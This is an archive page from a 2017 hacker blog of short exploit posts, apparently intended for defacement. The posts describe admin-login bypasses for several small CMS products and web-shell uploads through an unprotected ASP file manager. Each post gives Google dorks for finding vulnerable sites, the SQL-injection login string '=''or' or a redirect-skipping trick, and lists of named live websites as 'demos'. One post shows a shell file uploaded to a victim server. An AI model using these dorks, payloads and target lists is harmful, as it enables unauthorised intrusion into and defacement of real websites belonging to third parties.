RezaArabGamers: July 2017

Saturday, July 29, 2017

Bypass Admin CMS Technosparsh & Upload Shell

Unknown July 29, 2017 Comment

##################################
# Technosparsh CMS bypass admin panel and upload
# Exploit By FOXILITRIX EL
# IMAZIGHEN POWER
# Tuto
# https://youtu.be/fIyhekmqVac
# #
# #
# Dork
# Design & Developed by Technosparsh
# admin panel
# site.com/login
# or
# site.com/path/login
# username and password => '=' 'or' // admin
###################################
# Greetings To All Amazighs Hackers

Bypas Admin CMS Loisoft Technologies

Unknown July 29, 2017 Comment

[+] Exploit Title : Loisoft Technologies Admin Panel Bypass
[+]
[+] Dork : intitle:Loisoft Technologies
[+]
[+] Author : Mr.T959
[+] Team : N45HT
[+] Tested on : Windows XP
[+]
[+]==================================================================
[+]
[+] Admin Panel : https://www.site.co.li/admin/login.php
[+] Login With User And Pass : '=''or'
[+]
[+]==================================================================
[+]
[+] Demo :
[+] http://portal.fgcbiliri.sch.ng/admin/login.php

Bypas Admin (NoRedirect) Designed By Alkawebs

Unknown July 29, 2017 Comment

~Exploit title : Designed By Alkawebs - AdminBypass(NoRedirect)
~Exploit Author : hamidhacker
~Email: ir.hamidrezahacker@gmail.com
~MyHome : http://unknown-team.org/cc/
~Tested On : win 10
~Note: Download Tool [NoRedirect] On addons Mozilla Firefox
~with this tool we can byp admin login.
~Dork: intext:"Designed By Alkawebs"
~Date: 15,7,2017
—-------------------------------------------
Descriptions :
~http://localhost:8080/admin/login.php => add this URL in NoRedirect
~Then Go to => http://localhost:80/admin/index.php
~seccesfully Exploited...
—-------------------------------------------
~Examples :
1. http://derbycivicsociety.co.uk/admin/index.php
2. http://www.accessindudley.org.uk/admin/index.php
You Can Find a lot of targets with dork in google...
—-------------------------------------------
Tnx : Mr026 - TurkBoy - Lolzhacker - CENA - AloneLove - Mrpoint - Rpa

Bypas Admin CMS Brahamdeo Technology

Unknown July 29, 2017 Comment

[+] Exploit Title : Brahamdeo Technology Admin Panel Bypass
[+]
[+] Dork : intext:Designed by BRAHAMDEO TECHNOLOGY.
[+]
[+] Author : Mr.T959
[+] Team : N45HT
[+] Tested on : Windows XP
[+]
[+]==================================================================
[+]
[+] Admin Panel : https://www.site.co.li/admin/login.php
[+] Login With User And Pass : '=''or'
[+]
[+]==================================================================
[+]
[+] Demo :
[+] http://hotelutsavgaya.com/admin/login.php
[+] http://poddarmatrimonial.com/admin/login.php
[+] http://modernacademy.co/admin/login.php

Deface Teknik SkyBiz Online Admin Panel Bypass

Unknown July 29, 2017 Comment

[+] Tested on : Windows XP
[+]
[+]==================================================================
[+]
[+] Admin Panel : https://www.site.co.li/uc/login2.php
[+] You can select SM Administrator
[+] Login With User And Pass : '=''or'
[+]
[+]==================================================================
[+]
[+] Demo :
[+] https://www.skybiz.my/uc/login2.php

Deface Simple ASP Filemanager upload shell

Unknown July 29, 2017 Comment

[+] test : windows 10
[+] Website: www.anonymous-team.com

[+] source code : https://github.com/windylea/simple-asp-file-manager

dork:
inurl:safm.asp ext:asp
intitle:"ASP File Browser" ext:asp

After checking, no password has been added

After your search, you're gonna have the ability to do it in your tag. Upload file and .....

demo :
http://www.asycuda.org/wnfiles/mad.asp?browse=E:%5Cinetpub%5Cnewasy%5C_ScriptLibrary%5C
http://www.asycuda.org/wnfiles/mad.asp?browse=E:%5Cinetpub%5Cnewasy%5Cupltest%5C
http://www.asycuda.org/wnfiles/mad.asp?browse=E:%5Cinetpub%5Cnewasy%5Cbookresource%5C

asp shell upload
http://www.asycuda.org/wnfiles/mad.asp?upload=E%3A%5Cinetpub%5Cnewasy
Uploaded File: E:\inetpub\newasy\pouya.asp
Content Type: application/octet-stream